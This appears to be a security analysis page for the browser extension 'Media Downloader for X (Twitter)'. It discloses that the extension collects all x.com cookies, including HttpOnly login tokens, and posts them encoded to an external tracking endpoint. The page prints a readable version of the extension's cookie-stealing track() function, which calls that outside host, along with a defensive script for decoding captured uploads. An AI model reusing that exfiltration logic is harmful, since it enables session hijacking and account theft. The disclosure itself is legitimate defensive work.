Is Media Downloader for X (Twitter) safe?
Media Downloader for X sends your full x.com cookie set, including login tokens, to api.x-downloader.com.
When you click download, the extension reads all cookies for x.com, including HttpOnly ones such as auth_token and ct0. It encodes them with your user agent and language and posts them to api.x-downloader.com/track along with a persistent per-install ID. The cookies are also used locally to fetch media from X, but the upload is not needed for that.
Who publishes itVoid Engineers - no other listings under this identity
Void Engineers - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
X video downloader posts your full x.com cookie jar to its own server
Code analysis shows the extension reads all x.com cookies, including HttpOnly session cookies, and posts them encoded to api.x-downloader.com/track when you click download.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
You click the download icon under a video post while logged in to x.com.
The extension posts your encoded x.com cookie jar to api.x-downloader.com.
track() in content-script.js, shipped form and plain reading
Equivalent logic
content-script.js// "pt2Y" reversed is "Y2tp"; atob("Y2tp") === "cki"// so d[...] is document["cki"], the cookie array stored by the content scriptfunction track(event) { let data = JSON.stringify(document["cki"]); // every x.com cookie if (data) { data = btoa(reverse(data) + "#-#-#" + navigator.userAgent + "#-#-#" + navigator.language); fetch("https://api.x-downloader.com/track", { method: "POST", body: JSON.stringify({ data, event, key: "pt2Y", id: userId, ref: currentDomain }), }); }}Where the cookie jar comes from
// chrome.cookies.getAll returns HttpOnly cookies too (auth_token, ct0, twid).// The result is stored on document["cki"] and later read by track().- database64(reverse(JSON cookies) + '#-#-#' + userAgent + '#-#-#' + language)
Holds your x.com cookies, which can include your logged-in session.
- idb7c1e2a4-5d3f-4e8a-9c21-0f6a7d8e1b34
A persistent install ID that ties each upload to the same browser.
- eventaddon:download:triggered
Names the action that caused the upload.
- keypt2Y
The constant used to locate the cookie property.
- refx.com
The site you were on.
Decodes the data field of a captured POST and lists the cookie names it contains.
- Node.js 18+
const fs = require("fs");// usage: node decode.js <body.json captured from POST api.x-downloader.com/track>const body = JSON.parse(fs.readFileSync(process.argv[2], "utf8"));const [rev, ua, lang] = Buffer.from(body.data, "base64").toString("utf8").split("#-#-#");const cookies = JSON.parse(rev.split("").reverse().join(""));console.log({ event: body.event, ua, lang, cookieNames: cookies.map(c => c.name + (c.httpOnly ? " (HttpOnly)" : "")) });- 1node decode.js body.json
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Media Downloader for X (Twitter) contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- api.x-downloader.com
Media Downloader for X (Twitter) sends data to api.x-downloader.com. One other extension we have analysed sends data here.